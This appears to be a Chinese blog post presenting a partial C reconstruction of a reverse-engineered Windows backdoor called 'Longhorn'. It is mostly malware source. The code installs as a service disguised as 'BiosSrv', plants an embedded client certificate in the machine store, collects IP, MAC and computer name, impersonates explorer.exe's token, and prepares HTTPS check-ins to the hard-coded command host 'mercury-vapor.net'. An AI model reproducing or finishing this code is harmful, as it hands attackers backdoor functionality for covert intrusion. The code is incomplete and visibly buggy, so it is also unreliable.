Backdoor Longhorn部分重寫

在網上找了個樣本,看了一下好像是個服務程序,而且感覺原作者思路非常清晰,自己也試着逆向寫了一點,沒有寫完,沒有調試.

/*
#define SERVICE_STOPPED                        0x00000001
#define SERVICE_START_PENDING                  0x00000002
#define SERVICE_STOP_PENDING                   0x00000003
#define SERVICE_RUNNING                        0x00000004
#define SERVICE_CONTINUE_PENDING               0x00000005
#define SERVICE_PAUSE_PENDING                  0x00000006
#define SERVICE_PAUSED                         0x00000007

#define SERVICE_WIN32_OWN_PROCESS      0x00000010
#define SERVICE_WIN32_SHARE_PROCESS    0x00000020
#define SERVICE_WIN32     (SERVICE_WIN32_OWN_PROCESS |SERVICE_WIN32_SHARE_PROCESS)

typedef struct _CRYPTOAPI_BLOB {
                            DWORD   cbData;
    _Field_size_bytes_(cbData)  BYTE    *pbData;
} CRYPT_INTEGER_BLOB, *PCRYPT_INTEGER_BLOB,
CRYPT_UINT_BLOB, *PCRYPT_UINT_BLOB,
CRYPT_OBJID_BLOB, *PCRYPT_OBJID_BLOB,
CERT_NAME_BLOB, *PCERT_NAME_BLOB,
CERT_RDN_VALUE_BLOB, *PCERT_RDN_VALUE_BLOB,
CERT_BLOB, *PCERT_BLOB,
CRL_BLOB, *PCRL_BLOB,
DATA_BLOB, *PDATA_BLOB,
CRYPT_DATA_BLOB, *PCRYPT_DATA_BLOB,
CRYPT_HASH_BLOB, *PCRYPT_HASH_BLOB,
CRYPT_DIGEST_BLOB, *PCRYPT_DIGEST_BLOB,
CRYPT_DER_BLOB, *PCRYPT_DER_BLOB,
CRYPT_ATTR_BLOB, *PCRYPT_ATTR_BLOB;

// dwFlags definitions for PFXImportCertStore
//#define CRYPT_EXPORTABLE          0x00000001  // CryptImportKey dwFlags
//#define CRYPT_USER_PROTECTED      0x00000002  // CryptImportKey dwFlags
//#define CRYPT_MACHINE_KEYSET      0x00000020  // CryptAcquireContext dwFlags
//#define CRYPT_USER_PROTECTED_STRONG 0x00100000
//#define PKCS12_INCLUDE_EXTENDED_PROPERTIES 0x10

// Token Specific Access Rights.
//

#define TOKEN_ASSIGN_PRIMARY    (0x0001)
#define TOKEN_DUPLICATE         (0x0002)
#define TOKEN_IMPERSONATE       (0x0004)
#define TOKEN_QUERY             (0x0008)
#define TOKEN_QUERY_SOURCE      (0x0010)
#define TOKEN_ADJUST_PRIVILEGES (0x0020)
#define TOKEN_ADJUST_GROUPS     (0x0040)
#define TOKEN_ADJUST_DEFAULT    (0x0080)
#define TOKEN_ADJUST_SESSIONID  (0x0100)

struct  hostent {
        char    FAR * h_name;           // official name of host 
        char    FAR * FAR * h_aliases;  // alias list 
        short   h_addrtype;             // host address type 
        short   h_length;               // length of address 
        char    FAR * FAR * h_addr_list; // list of addresses 
#define h_addr  h_addr_list[0]          // address, for backward compat 
};
*/


#include<time.h>
#include<Windows.h>
#include<wincrypt.h>
#include<winsock.h>
#include<iphlpapi.h>
#include<TlHelp32.h>
#include<winhttp.h>
#include<stdio.h>
#pragma comment(lib,"Crypt32.lib")
#pragma comment(lib,"Winhttp.lib")
#pragma comment(lib,"Ws2_32.lib")
#pragma comment(lib,"Iphlpapi.lib")
void service();
void WINAPI ServiceMain(int argc, char **argv);
void WINAPI HandlerProc(DWORD dwControl);
void ConfigService(DWORD CurrentState, DWORD Win32ExitCode, DWORD WaitHint);
void worker(int argc, char **argv);
DWORD WINAPI StartAddress(LPVOID lpParam);
BOOL GetResource(HMODULE hModule, int ResourceId, BYTE *data, DWORD *ResourceLength);
int GetServerName();
BOOL AddCertificateContextToStore();
BOOL GetAdapterInfo(IP_ADAPTER_INFO *AdapterInfo, WCHAR* IPstring);
BOOL HttpSetOption(WCHAR *pwszVerb, WCHAR *pwszObjectName);
void HttpClose();

typedef struct _COMMON_DATA 
{
    WCHAR ServerName[0x100];//0x0
    PCCERT_CONTEXT pPrevCertContext = nullptr;//0x204
    WCHAR pszNameString[0x100];//0x208
    WCHAR pwszHeaders[0x100];//0x40a
    HINTERNET hSession = NULL;//0X82C
    HINTERNET hConnect = NULL;//0x830
    HINTERNET hRequest = NULL;//0x834
}*PCOMMON_DATA, COMMON_DATA;

COMMON_DATA CommonData;
DWORD CheckPoint = 1;
const WCHAR Type[0x10] = L"BINARY";
WCHAR ServiceName[0x20] = L"BiosSrv", wGet[0x10] = L"GET";
WCHAR wAgentCheckin[0x20]=L"/agent/checkin";
WCHAR MercuryVapor[0x30] = L"mercury-vapor.net";
HANDLE hHandle = NULL;
SERVICE_STATUS_HANDLE hServiceStatus = NULL;
SERVICE_STATUS ServiceStatus;

int main(int argc, char **argv)
{
    return 0;
}

void service()
{
    SERVICE_TABLE_ENTRYW ServiceStartTable;
    ServiceStartTable.lpServiceName = ServiceName;
    ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
    StartServiceCtrlDispatcherW(&ServiceStartTable);
}

void WINAPI ServiceMain(int argc, char **argv)
{
    hServiceStatus = RegisterServiceCtrlHandlerW(ServiceName, (LPHANDLER_FUNCTION)HandlerProc);
    if (hServiceStatus != NULL)
    {
        ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
        ServiceStatus.dwServiceSpecificExitCode = 0;
        ConfigService(SERVICE_START_PENDING, 0, 0xbb8);
        worker(argc,argv);
    }
}

void WINAPI HandlerProc(DWORD dwControl)
{
    if (dwControl == SERVICE_CONTROL_STOP)
    {
        ConfigService(SERVICE_STOP_PENDING, 0, 0);
    }
    else
    {
        ConfigService(ServiceStatus.dwCurrentState, 0, 0);
    }
    SetEvent(hHandle);
}

void ConfigService(DWORD CurrentState, DWORD Win32ExitCode, DWORD WaitHint)
{
    ServiceStatus.dwCurrentState = CurrentState;
    ServiceStatus.dwWin32ExitCode = Win32ExitCode;
    ServiceStatus.dwWaitHint = WaitHint;
    if (CurrentState != SERVICE_START_PENDING)
    {
        ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
    }
    if (CurrentState == SERVICE_STOPPED || CurrentState == SERVICE_RUNNING)
    {
        ServiceStatus.dwCheckPoint &= 0;
    }
    else
    {
        ServiceStatus.dwCheckPoint = CheckPoint++;
    }
    SetServiceStatus(hServiceStatus, &ServiceStatus);
}

void worker(int argc, char **argv)
{
    DWORD ThreadId = 0,ExitCode=0;
    HANDLE Thread = NULL;
    hHandle = CreateEventW(NULL, TRUE, FALSE, NULL);
    if (hHandle != NULL)
    {
        Thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, &ThreadId);
        if (NULL ==Thread)
        {
            ConfigService(SERVICE_STOPPED, 0, 0);
        }
        else
        {
            ConfigService(SERVICE_RUNNING, 0, 0);
            WaitForSingleObject(hHandle, INFINITE);
            GetExitCodeThread(Thread, &ExitCode);
            if (STILL_ACTIVE != ExitCode)
            {
                TerminateThread(Thread, ExitCode);
            }
            ConfigService(SERVICE_STOPPED, 0, 0);
        }
    }
}

DWORD WINAPI StartAddress(LPVOID lpParam)
{
    Sleep((rand() % 5 + 1) * 0xea60);//0XEA60--->6000-----6s
    //do something
    return 0;
}

void* malloc_space(size_t size)//0x8dc
{
    void *pointer = nullptr;
    pointer = malloc(size);
    return  pointer;
}

int GetServerName()
{
    DWORD ResourceLength = 0,length=0;
    BYTE *MultiByteStr = nullptr;
    length = GetResource(GetModuleHandleW(nullptr), 0x66, MultiByteStr, &ResourceLength);
    if (length == TRUE)
    {
        length = MultiByteToWideChar(CP_ACP, 0, (char *)MultiByteStr, -1, CommonData.ServerName, 0x100);

    }
    return length;
}

BOOL AddCertificateContextToStore()
{
    int i;
    WCHAR *szPassword = nullptr,*pszNameString=nullptr;
    DWORD ResourceLength=0;
    BYTE *data=nullptr;
    BOOL result = FALSE,finded=FALSE;
    CRYPT_DATA_BLOB cdb;
    HCERTSTORE hCertStore = NULL,hImportCertStore=NULL;
    PCCERT_CONTEXT pCertContext = nullptr,pPrevCertContext=nullptr;
    memset(&cdb, 0, sizeof(CRYPT_DATA_BLOB));
    result = GetResource(GetModuleHandleW(nullptr), 0x65, data, &ResourceLength);
    if (result==TRUE)
    {
        cdb.cbData = ResourceLength;
        cdb.pbData = data;
        result=PFXIsPFXBlob(&cdb);
        if (result == TRUE)
        {
            hImportCertStore=PFXImportCertStore(&cdb, szPassword, CRYPT_EXPORTABLE|CRYPT_MACHINE_KEYSET);
            if (hImportCertStore != NULL)
            {
                pCertContext = CertEnumCertificatesInStore(hImportCertStore, nullptr);
                if (pCertContext != nullptr)
                {
                    if (CertGetNameStringW(pCertContext, CERT_NAME_FRIENDLY_DISPLAY_TYPE, 0, 0, CommonData.pszNameString, 0x100))
                    {
                        hCertStore=CertOpenStore(CERT_STORE_PROV_SYSTEM_W, 0, 0,
                            CERT_STORE_CREATE_NEW_FLAG | CERT_STORE_READONLY_FLAG, "MY");
                        if (hCertStore != NULL)
                        {
                            do
                            {
                                while (TRUE)
                                {
                                    pPrevCertContext = CertEnumCertificatesInStore(hCertStore, pPrevCertContext);
                                    if (pPrevCertContext != NULL)
                                    {
                                        if (CertGetNameStringW(pPrevCertContext, CERT_NAME_FRIENDLY_DISPLAY_TYPE,
                                            0, 0, pszNameString, 0x100))
                                            break;
                                    }
                                    else
                                    {
                                        break;
                                    }
                                }
                                if (pPrevCertContext == NULL)
                                    break;
                                i = 0;
                                while ((pszNameString[i] == CommonData.pszNameString[i]) && pszNameString[i] != 0)
                                {
                                    i++;//compare the two strings
                                }
                                if (pszNameString[i] == 0)
                                {
                                    finded = TRUE;
                                    CommonData.pPrevCertContext = pPrevCertContext;
                                }
                            } while (pszNameString[i]);
                            if (finded == FALSE)
                            {
                                if (TRUE == CertAddCertificateContextToStore(hCertStore,
                                    pCertContext, CERT_STORE_ADD_ALWAYS, 0))
                                {
                                    CommonData.pPrevCertContext = pCertContext;
                                }
                                else
                                {
                                    return FALSE;
                                }
                            }
                            result = TRUE;
                        }

                    }
                }
            }
        }
    }
    if (hImportCertStore != NULL)
    {
        CertCloseStore(hImportCertStore, 0);
        hImportCertStore = NULL;
    }
    if (hCertStore != NULL)
    {
        CertCloseStore(hCertStore, 0);
        hCertStore = NULL;
    }
    return result;
}

void CollectInfo()
{
    char name[MAX_PATH],Dest[MAX_PATH];
    DWORD Size = 0;
    WCHAR WideCharStr[0x100] ;//address
    WCHAR ComputerName[MAX_PATH];
    WCHAR Src[0x100];
    hostent *host = NULL;
    IP_ADAPTER_INFO AdapterInfo;
    memset(name, 0, MAX_PATH);
    memset(Dest, 0, MAX_PATH);
    memset(WideCharStr, 0, 0x200);
    memset(ComputerName, 0, 2 * MAX_PATH);
    memset(&AdapterInfo,0, sizeof(IP_ADAPTER_INFO));
    memset(Src, 0, 0x200);
    WSAData wsaData;
    WSAStartup(0x202, &wsaData);
    if (gethostname(name, MAX_PATH) == 0)//if no error occurs,gethostname returns zero
    {
        host=gethostbyname(name);
        if (host != NULL)
        {
            MultiByteToWideChar(CP_ACP, 0, inet_ntoa(*(struct in_addr*)host->h_addr_list), -1, WideCharStr, 0x100);
        }
    }
    if (GetComputerNameW(ComputerName, &Size) != FALSE)
    {
        if (FALSE != GetAdapterInfo(&AdapterInfo, CommonData.ServerName))
        {
            sprintf_s(Dest,"%02x-%02x-%02x-%02x-%02x-%02x",AdapterInfo.Address[0],
                AdapterInfo.Address[1],AdapterInfo.Address[2],AdapterInfo.Address[3],
                AdapterInfo.Address[4], AdapterInfo.Address[5]);
            MultiByteToWideChar(CP_ACP, 0, Dest, -1, Src, 0x100);
            /*
            IsWow64Process
            IsUserAnAdmin
            */
            //fill data to CommonData
        }
    }
    WSACleanup();
}

BOOL GetAdapterInfo(IP_ADAPTER_INFO *AdapterInfo,WCHAR* IPstring)
{
    DWORD result = FALSE;
    void* Memory = NULL;
    DWORD  BestInterfaceIndex = 0;
    DWORD  SizePointer = sizeof(IP_ADAPTER_INFO);
    char   MultiByte[MAX_PATH];
    memset(MultiByte, 0, MAX_PATH);
    Memory = malloc(SizePointer);
    if (Memory != NULL)
    {
        result = GetAdaptersInfo((IP_ADAPTER_INFO*)Memory, &SizePointer);
        if (ERROR_BUFFER_OVERFLOW ==result)//0x6f
        {
            free(Memory);
            Memory = malloc(SizePointer);
            if (Memory != NULL)
            {
                result=GetAdaptersInfo((IP_ADAPTER_INFO*)Memory, &SizePointer);
            }
        }
        if (result == ERROR_SUCCESS)
        {
            if (WideCharToMultiByte(CP_ACP, 0, IPstring, -1, MultiByte, 0x103, 0, 0))
            {
                if (NO_ERROR == GetBestInterface((IPAddr)inet_addr(MultiByte), &BestInterfaceIndex))
                {
                    while (((IP_ADAPTER_INFO*)Memory) != NULL)
                    {
                        if (BestInterfaceIndex == ((IP_ADAPTER_INFO*)Memory)->Index)
                            break;
                        Memory = ((IP_ADAPTER_INFO*)Memory)->Next;
                    }
                }
                if (Memory != NULL)//find it
                {
                    CopyMemory(AdapterInfo, Memory, sizeof(IP_ADAPTER_INFO));
                    result = TRUE;
                }
            }
        }
    }
    if (Memory != NULL)
        free(Memory);
    return result;
}

BOOL GetResource(HMODULE hModule, int ResourceId, BYTE *data, DWORD *ResourceLength)
{
    BOOL result = FALSE;
    HRSRC hResInfo=NULL;
    HGLOBAL hResData = NULL;
    data=nullptr, *ResourceLength = 0;
    hResInfo=FindResourceW(hModule, MAKEINTRESOURCEW(ResourceId), Type);
    if (hResInfo != NULL)
    {
        hResData=LoadResource(hModule, hResInfo);
        if (hResData != NULL)
        {
            data=(BYTE *)LockResource(hResData);
            if (data != nullptr)
            {
                *ResourceLength = SizeofResource(hModule, hResInfo);
                if (*ResourceLength)
                    result = TRUE;
            }
        }
    }
    return result;
}

void ImpersonateExplorer()
{
    HANDLE hSnapshot=NULL,TokenHandle = NULL,ProcessHandle=NULL;
    PROCESSENTRY32W pe32w;
    memset(&pe32w, 0, sizeof(PROCESSENTRY32W));
    hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot != NULL)
    {
        if (Process32FirstW(hSnapshot, &pe32w))
        {
            do
            {
                if (_wcsicmp(pe32w.szExeFile, L"explorer.exe") == 0)
                {
                    ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32w.th32ProcessID);//0x400
                    if (ProcessHandle != NULL)
                    {
                        if (OpenProcessToken(ProcessHandle, TOKEN_QUERY | TOKEN_DUPLICATE, &TokenHandle))
                            ImpersonateLoggedOnUser(TokenHandle);
                    }
                    break;
                }
            } while (Process32NextW(hSnapshot, &pe32w));
        }
        CloseHandle(hSnapshot);
    }
    if (ProcessHandle != NULL)
        CloseHandle(ProcessHandle);
    if (TokenHandle != NULL)
        CloseHandle(TokenHandle);
}

BOOL HttpSetOption(WCHAR *pwszVerb, WCHAR *pwszObjectName)
{
    HttpClose();
    CommonData.hConnect=WinHttpConnect(CommonData.hSession, CommonData.ServerName, 0x1bb, 0);//0x1bb--->443
    if (CommonData.hConnect != NULL)
    {
        CommonData.hRequest = WinHttpOpenRequest(CommonData.hConnect, pwszVerb, pwszObjectName, 0, 0, 0, WINHTTP_FLAG_SECURE);
        if (CommonData.hRequest != NULL)
        {
            if (WinHttpSetOption(CommonData.hRequest, WINHTTP_OPTION_CLIENT_CERT_CONTEXT, (void *)CommonData.pPrevCertContext, 0x14) == FALSE)
                HttpClose();
            else
                return TRUE;
        }
    }
    return FALSE;
}

void HttpClose()
{
    if (CommonData.hConnect != NULL)
    {
        WinHttpCloseHandle(CommonData.hConnect);
        CommonData.hConnect = NULL;
    }
    if (CommonData.hRequest != NULL)
    {
        WinHttpCloseHandle(CommonData.hRequest);
        CommonData.hRequest = NULL;
    }
}

void XMVaction()
{
    /*
    if (HttpSetOption(wGet, wAgentCheckin) == TRUE)
    {
        WinHttpAddRequestHeaders(CommonData.hRequest, CommonData.pwszHeaders, -1, WINHTTP_ADDREQ_FLAG_ADD);//0X20000000
        WinHttpAddRequestHeaders(CommonData.hRequest, L"X-MV-Version: 1.00",-1, WINHTTP_ADDREQ_FLAG_ADD);
    }
    unfinished!
    */
}

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章